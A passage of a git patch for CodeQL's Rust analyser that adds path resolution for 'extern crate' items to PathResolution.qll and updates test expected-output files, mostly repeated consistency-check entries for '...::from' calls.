mod m8 | +| main.rs:642:5:642:9 | ...::g | main.rs:181:5:196:5 | fn g | +| main.rs:643:5:643:6 | m9 | main.rs:199:1:207:1 | mod m9 | +| main.rs:643:5:643:9 | ...::f | main.rs:202:5:206:5 | fn f | +| main.rs:644:5:644:7 | m11 | main.rs:230:1:267:1 | mod m11 | +| main.rs:644:5:644:10 | ...::f | main.rs:235:5:238:5 | fn f | +| main.rs:645:5:645:7 | m15 | main.rs:298:1:352:1 | mod m15 | +| main.rs:645:5:645:10 | ...::f | main.rs:339:5:351:5 | fn f | +| main.rs:646:5:646:7 | m16 | main.rs:354:1:446:1 | mod m16 | +| main.rs:646:5:646:10 | ...::f | main.rs:421:5:445:5 | fn f | +| main.rs:647:5:647:7 | m17 | main.rs:448:1:478:1 | mod m17 | +| main.rs:647:5:647:10 | ...::f | main.rs:472:5:477:5 | fn f | +| main.rs:648:5:648:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:648:5:648:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:649:5:649:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:649:5:649:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:650:5:650:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:650:5:650:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:651:5:651:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | +| main.rs:652:5:652:7 | m18 | main.rs:480:1:498:1 | mod m18 | +| main.rs:652:5:652:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | +| main.rs:652:5:652:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | +| main.rs:652:5:652:20 | ...::g | main.rs:491:13:495:13 | fn g | +| main.rs:653:5:653:7 | m23 | main.rs:527:1:552:1 | mod m23 | +| main.rs:653:5:653:10 | ...::f | main.rs:547:5:551:5 | fn f | +| main.rs:654:5:654:7 | m24 | main.rs:554:1:622:1 | mod m24 | +| main.rs:654:5:654:10 | ...::f | main.rs:608:5:621:5 | fn f | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -340,7 +333,7 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:653:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:656:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | @@ -367,3 +360,9 @@ resolvePath | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | testFailures +| main.rs:288:27:288:48 | //... | Missing result: item=I71 | +| main.rs:288:27:288:48 | //... | Missing result: item=I72 | +| main.rs:291:22:291:34 | //... | Missing result: item=I72 | +| main.rs:292:27:292:39 | //... | Missing result: item=I72 | +| main.rs:293:18:293:30 | //... | Missing result: item=I71 | +| main.rs:655:16:655:28 | //... | Missing result: item=I25 | From 721ffb11cf0acec4cd2b90cc74f96dc2eb5132cb Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 28 May 2025 17:14:23 +0200 Subject: [PATCH 162/271] Rust: Path resolution for `extern crate`s --- .../codeql/rust/internal/PathResolution.qll | 61 +- .../PathResolutionConsistency.expected | 61 ++ .../PathResolutionConsistency.expected | 7 + .../strings/inline-taint-flow.expected | 3 + .../test/library-tests/path-resolution/my.rs | 2 +- .../path-resolution/path-resolution.expected | 16 +- .../PathResolutionConsistency.expected | 13 + .../PathResolutionConsistency.expected | 7 + .../diagnostics/SummaryStatsReduced.expected | 2 +- .../PathResolutionConsistency.expected | 271 +++++ .../TypeInferenceConsistency.expected | 3 - .../CWE-312/CleartextLogging.expected | 987 +++++++++--------- .../security/CWE-312/test_logging.rs | 87 +- .../PathResolutionConsistency.expected | 4 + .../PathResolutionConsistency.expected | 14 + .../PathResolutionConsistency.expected | 31 + 16 files changed, 1040 insertions(+), 529 deletions(-) create mode 100644 rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected delete mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected create mode 100644 rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index d23679ee81b..b1d733036be 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -127,12 +127,25 @@ abstract class ItemNode extends Locatable { or crateDependencyEdge(this, name, result) or + externCrateEdge(this, name, result) + or // items made available through `use` are available to nodes that contain the `use` exists(UseItemNode use | use = this.getASuccessorRec(_) and result = use.(ItemNode).getASuccessorRec(name) ) or + exists(ExternCrateItemNode ec | result = ec.(ItemNode).getASuccessorRec(name) | + ec = this.getASuccessorRec(_) + or + // if the extern crate appears in the crate root, then the crate name is also added + // to the 'extern prelude', see https://doc.rust-lang.org/reference/items/extern-crates.html + exists(Crate c | + ec = c.getSourceFile().(ItemNode).getASuccessorRec(_) and + this = c.getASourceFile() + ) + ) + or // items made available through macro calls are available to nodes that contain the macro call exists(MacroCallItemNode call | call = this.getASuccessorRec(_) and @@ -353,16 +366,30 @@ class CrateItemNode extends ItemNode instanceof Crate { override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { this.hasCanonicalPath(c) and - exists(ModuleLikeNode m | - child.getImmediateParent() = m and - not m = child.(SourceFileItemNode).getSuper() and - m = super.getSourceFile() + exists(SourceFileItemNode file | + child.getImmediateParent() = file and + not file = child.(SourceFileItemNode).getSuper() and + file = super.getSourceFile() ) } override string getCanonicalPath(Crate c) { c = this and result = Crate.super.getName() } } +class ExternCrateItemNode extends ItemNode instanceof ExternCrate { + override string getName() { result = super.getRename().getName().getText() } + + override Namespace getNamespace() { none() } + + override Visibility getVisibility() { none() } + + override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } +} + /** An item that can occur in a trait or an `impl` block. */ abstract private class AssocItemNode extends ItemNode, AssocItem { /** Holds if this associated item has an implementation. */ @@ -793,6 +820,10 @@ class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias { override Visibility getVisibility() { result = TypeAlias.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class UnionItemNode extends ItemNode instanceof Union { @@ -1063,12 +1094,12 @@ private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { } /** - * Holds if `m` depends on crate `dep` named `name`. + * Holds if `file` depends on crate `dep` named `name`. */ -private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNode dep) { +private predicate crateDependencyEdge(SourceFileItemNode file, string name, CrateItemNode dep) { exists(CrateItemNode c | dep = c.(Crate).getDependency(name) and - m = c.getASourceFile() + file = c.getASourceFile() ) } @@ -1404,6 +1435,22 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { ) } +/** Holds if `ec` imports `crate` as `name`. */ +pragma[nomagic] +private predicate externCrateEdge(ExternCrateItemNode ec, string name, CrateItemNode crate) { + name = ec.getName() and + exists(SourceFile f, string s | + ec.getFile() = f.getFile() and + s = ec.(ExternCrate).getIdentifier().getText() + | + crateDependencyEdge(f, s, crate) + or + // `extern crate` is used to import the current crate + s = "self" and + ec.getFile() = crate.getASourceFile().getFile() + ) +} + /** * Holds if `i` is available inside `f` because it is reexported in * [the `core` prelude][1] or [the `std` prelude][2]. diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index 0aa77163252..385df7882d8 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,64 @@ +multiplePathResolutions +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:775:50:775:61 | ...::from | file://:0:0:0:0 | fn from | multipleCanonicalPaths | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | diff --git a/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..090ecfe601c --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,7 @@ +multiplePathResolutions +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected index 63076f6b5df..5c56cf594e7 100644 --- a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected +++ b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected @@ -22,8 +22,10 @@ edges | main.rs:57:11:57:26 | source_slice(...) | main.rs:57:6:57:7 | s1 | provenance | | | main.rs:58:6:58:7 | s2 | main.rs:59:7:59:8 | s2 | provenance | | | main.rs:58:11:58:24 | s1.to_string() | main.rs:58:6:58:7 | s2 | provenance | | +| main.rs:63:9:63:9 | s | main.rs:64:16:64:16 | s | provenance | | | main.rs:63:9:63:9 | s | main.rs:64:16:64:25 | s.as_str() | provenance | MaD:3 | | main.rs:63:13:63:22 | source(...) | main.rs:63:9:63:9 | s | provenance | | +| main.rs:64:16:64:16 | s | main.rs:64:16:64:25 | s.as_str() | provenance | MaD:3 | | main.rs:68:9:68:9 | s | main.rs:70:34:70:61 | MacroExpr | provenance | | | main.rs:68:9:68:9 | s | main.rs:73:34:73:59 | MacroExpr | provenance | | | main.rs:68:13:68:22 | source(...) | main.rs:68:9:68:9 | s | provenance | | @@ -75,6 +77,7 @@ nodes | main.rs:59:7:59:8 | s2 | semmle.label | s2 | | main.rs:63:9:63:9 | s | semmle.label | s | | main.rs:63:13:63:22 | source(...) | semmle.label | source(...) | +| main.rs:64:16:64:16 | s | semmle.label | s | | main.rs:64:16:64:25 | s.as_str() | semmle.label | s.as_str() | | main.rs:68:9:68:9 | s | semmle.label | s | | main.rs:68:13:68:22 | source(...) | semmle.label | source(...) | diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 3d7b150214a..f2488df4959 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -21,7 +21,7 @@ type Result< T, // T > = ::std::result::Result< T, // $ item=T - String,> // $ item=Result + String,> // $ item=Result $ item=String ; // my::Result fn int_div( diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 67653ba472f..666c80dae77 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -145,6 +145,13 @@ resolvePath | main.rs:278:16:278:16 | T | main.rs:272:7:272:7 | T | | main.rs:279:14:279:17 | Self | main.rs:270:5:280:5 | trait MyParamTrait | | main.rs:279:14:279:33 | ...::AssociatedType | main.rs:274:9:274:28 | type AssociatedType | +| main.rs:288:13:288:16 | zelf | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:288:13:288:21 | ...::m13 | main.rs:283:1:296:1 | mod m13 | +| main.rs:288:13:288:24 | ...::f | main.rs:284:5:284:17 | fn f | +| main.rs:288:13:288:24 | ...::f | main.rs:284:19:285:19 | struct f | +| main.rs:291:17:291:17 | f | main.rs:284:19:285:19 | struct f | +| main.rs:292:21:292:21 | f | main.rs:284:19:285:19 | struct f | +| main.rs:293:13:293:13 | f | main.rs:284:5:284:17 | fn f | | main.rs:307:9:307:14 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | | main.rs:310:13:310:16 | Self | main.rs:305:5:313:5 | trait Trait2 | | main.rs:310:13:310:19 | ...::g | main.rs:302:9:302:20 | fn g | @@ -318,6 +325,8 @@ resolvePath | main.rs:653:5:653:10 | ...::f | main.rs:547:5:551:5 | fn f | | main.rs:654:5:654:7 | m24 | main.rs:554:1:622:1 | mod m24 | | main.rs:654:5:654:10 | ...::f | main.rs:608:5:621:5 | fn f | +| main.rs:655:5:655:8 | zelf | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:655:5:655:11 | ...::h | main.rs:50:1:69:1 | fn h | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -347,6 +356,7 @@ resolvePath | my.rs:22:5:22:17 | ...::result | {EXTERNAL LOCATION} | mod result | | my.rs:22:5:24:12 | ...::Result::<...> | {EXTERNAL LOCATION} | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | +| my.rs:24:5:24:10 | String | {EXTERNAL LOCATION} | struct String | | my.rs:28:8:28:10 | i32 | {EXTERNAL LOCATION} | struct i32 | | my.rs:29:8:29:10 | i32 | {EXTERNAL LOCATION} | struct i32 | | my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type Result<...> | @@ -360,9 +370,3 @@ resolvePath | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | testFailures -| main.rs:288:27:288:48 | //... | Missing result: item=I71 | -| main.rs:288:27:288:48 | //... | Missing result: item=I72 | -| main.rs:291:22:291:34 | //... | Missing result: item=I72 | -| main.rs:292:27:292:39 | //... | Missing result: item=I72 | -| main.rs:293:18:293:30 | //... | Missing result: item=I71 | -| main.rs:655:16:655:28 | //... | Missing result: item=I25 | diff --git a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected index e4c5c7393e4..85a794a0410 100644 --- a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected @@ -7,3 +7,16 @@ multipleMethodCallTargets | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +multiplePathResolutions +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..8e261e29676 --- /dev/null +++ b/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,7 @@ +multiplePathResolutions +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected index ed21d9772fc..563e370b4ed 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected @@ -6,7 +6,7 @@ | Files extracted - without errors % | 57 | | Inconsistencies - AST | 0 | | Inconsistencies - CFG | 0 | -| Inconsistencies - Path resolution | 0 | +| Inconsistencies - Path resolution | 1 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | | Lines of code extracted | 60 | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected index ea9e17f0c1d..3156d05ef17 100644 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,274 @@ +multiplePathResolutions +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| 